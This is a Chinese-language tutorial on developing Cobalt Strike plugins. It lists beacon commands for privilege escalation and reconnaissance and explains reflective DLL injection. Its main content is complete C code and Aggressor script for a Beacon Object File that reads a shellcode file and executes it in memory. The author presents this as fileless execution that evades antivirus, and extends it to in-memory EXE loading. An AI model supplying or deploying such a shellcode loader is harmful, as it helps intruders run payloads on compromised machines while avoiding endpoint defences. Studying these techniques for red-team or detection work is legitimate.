Cobalt Strike简介
Cobalt Strike是一款美国RedTeam开发的渗透测试神器,常被业界人称为CS也被称为CS神器,在内网渗透中使用的频率较高。最近这个工具大火,成为了渗透测试中不可缺少的利器。其拥有多种协议主机上线方式,集成了提权,凭据导出,端口转发,socket代理,office攻击,文件捆绑,钓鱼等功能,是一款基于Java的渗透测试神器。
Cobalt Strike常用命令如下:
- help: 查看可用命令。
- getuid: 获取当前用户的权限。
- getsystem: 获取system权限。
- getprivs: 获取当前beacon里面的所有权限(这个用户现在能干嘛)。
- net domain_trusts: 列出域之间的信任关系。
- net logons:查看现在在登录的用户。
- net share:查看共享。
- shell xxx: 在命令行中执行xxx命令。
- powerpick xxx:不通过powershell来执行命令
插件开发
直接步入主题,先讲cs的插件开发RDI(ReflectiveDLLInject),cs提供bdllspawn方法来来反射dll执行代码。同时官方也提供了相关的使用文档和demo示例。Functions
我们直接下载提供的vs模版项目https://codeload.github.com/stephenfewer/ReflectiveDLLInjection/zip/refs/heads/master
之后就很简单了,vs打开项目直接编辑ReflectiveDll.c进行代码编写,我们这里接收命令行参数来进行弹窗打印
//===============================================================================================//
// This is a stub for the actuall functionality of the DLL.
//===============================================================================================//
#include "ReflectiveLoader.h"
#include <string>
#include <shellapi.h>
#pragma comment(lib, "Shell32.lib")
using namespace std;
std::string szargs;
std::wstring wszargs;
std::wstring wsHostFile;
int argc = 0;
LPWSTR* argv = NULL;
extern HINSTANCE hAppInstance;
wstring StringToWString(const string& str)
{
int length;
length = MultiByteToWideChar(CP_ACP, 0, str.c_str(), -1, NULL, 0);
wchar_t* wide_char = new wchar_t[length];
MultiByteToWideChar(CP_ACP, 0, str.c_str(), -1, wide_char, length);
wstring wstr(wide_char);
delete[] wide_char;
return wstr;
}
BOOL WINAPI DllMain( HINSTANCE hinstDLL, DWORD dwReason, LPVOID lpReserved )
{
BOOL bReturnValue = TRUE;
switch( dwReason )
{
case DLL_QUERY_HMODULE:
if( lpReserved != NULL )
*(HMODULE *)lpReserved = hAppInstance;
break;
case DLL_PROCESS_ATTACH:
hAppInstance = hinstDLL;
printf("C++ ReflectiveDLL\n");
if (lpReserved != NULL) {
szargs = (PCHAR)lpReserved;
wszargs = StringToWString(szargs);
argv = CommandLineToArgvW(wszargs.data(), &argc);
}
MessageBox(NULL, argv[1], L"测试", MB_OK);
fflush(stdout);
ExitProcess(0);
break;
case DLL_PROCESS_DETACH:
case DLL_THREAD_ATTACH:
case DLL_THREAD_DETACH:
break;
}
return bReturnValue;
}
写完之后编译dll,还需要使用bdllspawn来调用,redll.dll就是我们编写的dll名字,$args = substr($0, 2);为我们传入的参数
alias redll {
$args = substr($0, 2);
bdllspawn($1, script_resource("redll.dll"),$args, "dll", 5000, false);
}
直接导入编写好的插件执行
被提示远程线程注入了,原生cs的行为特征可能会触发杀软的主动防御,我们点允许就执行成功了,实现了无文件落地的执行dll功能。代表插件有Ladon。
想要RDI不被拦截我们可能需要更加深入的研究cs的代码机制,进行修改,但是这样就会变的更加繁琐。所以CS还有一个插件方法,BOF(Beacon Object File)
BOF介绍
的支持是在CobaltStrike4.1版本中新引入的功能。BOF文件是由c代码编译而来的可在Beacon进程中动态加载执行的二进制程序。无文件执行与无新进程创建的特性更加符合OPSEC的原则,适用于严苛的终端对抗场景。低开发门槛与便利的内部Beacon API调用与使得BOF特别适合后渗透阶段攻击工具的快速开发与移植。
跟RDI一样关于BOF,CS也提供了相关的文档进行解释和开发介绍
看不懂英文的兄弟请直接翻译,我这边讲的开发内容非常基础,想要更加深入的开发还是直接对照API文档来进行探索。
回到主题,BOF开发CS同样提供了相应的开发模版,我们只需要下载项目https://codeload.github.com/Cobalt-Strike/bof-vs
下载的压缩包需要解压到 C:\Users\你的用户名\Documents\Visual Studio 2022\Templates\ProjectTemplates
然后重启vs,新建BOF项目
然后就可以在bof.cpp进行代码编辑啦
#include <Windows.h>
#include "base\helpers.h"
#ifdef _DEBUG
#include "base\mock.h"
#undef DECLSPEC_IMPORT
#define DECLSPEC_IMPORT
#endif
extern "C" {
#include "beacon.h"
DFR(KERNEL32, GetLastError);
#define GetLastError KERNEL32$GetLastError
void go(char* args, int len) {
DFR_LOCAL(KERNEL32, GetSystemDirectoryA);
DFR_LOCAL(KERNEL32, CloseHandle);
DFR_LOCAL(KERNEL32, CreateMutexA);
DFR_LOCAL(KERNEL32, CreateProcessA);
DFR_LOCAL(KERNEL32, GetProcAddress);
DFR_LOCAL(KERNEL32, VirtualAlloc);
DFR_LOCAL(KERNEL32, VirtualFree);
DFR_LOCAL(KERNEL32, LoadLibraryA);
DFR_LOCAL(KERNEL32, ReleaseMutex);
DFR_LOCAL(KERNEL32, CreateFileA);
DFR_LOCAL(KERNEL32, GetFileSize);
DFR_LOCAL(KERNEL32, ReadFile);
DFR_LOCAL(KERNEL32, VirtualProtect);
char* sc_ptr;
SIZE_T sc_len;
DWORD pid;
datap parser;
BeaconDataParse(&parser, args, len);
sc_ptr = BeaconDataExtract(&parser, NULL);
DWORD dataSize = BeaconDataLength(&parser);
DWORD shellCodeLength = dataSize - (sc_ptr - parser.buffer);
if (sc_ptr == NULL) {
BeaconPrintf(CALLBACK_ERROR, "Error: Failed to sc_ptr\n");
return;
}
LPVOID pMemory = VirtualAlloc(NULL, 900000, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
if (pMemory == NULL) {
BeaconPrintf(CALLBACK_ERROR, "Error: Failed top Memory\n");
return;
}
DWORD old = 0;
if (!VirtualProtect(pMemory, 900000, PAGE_EXECUTE_READWRITE, &old)) {
BeaconPrintf(CALLBACK_ERROR, "Error: Failed to old\n");
return;
}
for (int i = 0; i < shellCodeLength; ++i) {
reinterpret_cast<unsigned char*>(pMemory)[i] = sc_ptr[i];
}
typedef void(*SHELLCODE)();
SHELLCODE sc = reinterpret_cast<SHELLCODE>(pMemory);
sc();
VirtualFree(pMemory, NULL, MEM_RELEASE);
}
}
#if defined(_DEBUG) && !defined(_GTEST)
int main(int argc, char* argv[]) {
bof::runMocked<>(go);
return 0;
}
// Define unit tests
#elif defined(_GTEST)
#include <gtest\gtest.h>
TEST(BofTest, Test1) {
std::vector<bof::output::OutputEntry> got =
bof::runMocked<>(go);
std::vector<bof::output::OutputEntry> expected = {
{CALLBACK_OUTPUT, "System Directory: C:\\Windows\\system32"}
};
ASSERT_EQ(expected.size(), got.size());
ASSERT_STRCASEEQ(expected[0].output.c_str(), got[0].output.c_str());
}
#endif
我们需要对我们使用的函数按照他给出的模版进行导入,就像下面的示例一样
DFR_LOCAL(KERNEL32, GetSystemDirectoryA);
DFR_LOCAL(KERNEL32, VirtualAlloc);
DFR_LOCAL(KERNEL32, VirtualFree);
DFR_LOCAL(KERNEL32, VirtualProtect);
上面的示例代码是从CS控制台接收shellcode,进行动态执行。用到了几个BOF c API
BeaconDataParse(&parser, args, len); //准备一个数据分析器以从指定的缓冲区中提取参数。
sc_ptr = BeaconDataExtract(&parser, NULL);//接收参数
DWORD dataSize = BeaconDataLength(&parser);//这边是计算data数据大小,我们用来计算shellcode
BeaconPrintf(CALLBACK_ERROR, "Error: Failed to old\n");//打印到CS控制台
然后其他代码就是正常的shellcode加载代码,光这样我们是无法直接从cs控制台获取shellcode的,所以我们还需要一个插件来读取指定文件的shellcode。
alias run12 {
local('$handle $data $args $sc_data');
$barch = barch($1);
$handle = openf(script_resource("bof.obj"));
$data = readb($handle, -1);
closef($handle);
$sc_handle = openf($2);//读取文件数据
$sc_data = readb($sc_handle, -1);
closef($sc_handle);
$args = bof_pack($1, "b",$sc_data);
beacon_inline_execute($1, $data, "go", $args);
}
这边我们用到了bof_pack,相关文档如下
还有beacon_inline_execute
$sc_handle = openf($2);//读取文件数据
$sc_data = readb($sc_handle, -1);
closef($sc_handle);
从cs命令行把读取到的文件内容传递给$sc_data,这边传递的为shellcode
$args = bof_pack($1, "b",$sc_data);
beacon_inline_execute($1, $data, "go", $args);
把shellcode传入到我们的obj项目的go方法也就是inline_execute
写完之后我们把项目编译成obj,cna脚本加载到我们的cs
然后我们cs控制台执行
shellcode不落地执行成功,以此延伸PEloader。直接内存不落地加载EXE文件
但是有一个坑点就是,如果我们执行的exe大于10M就会引发报错,我们需要在profile中设置tasks_max_size的值
参考文档:Profile Language
以上就是CS插件开发的基础知识,讲的不清楚的地方请自行查阅官方文档,每一步的文档我都标注出来了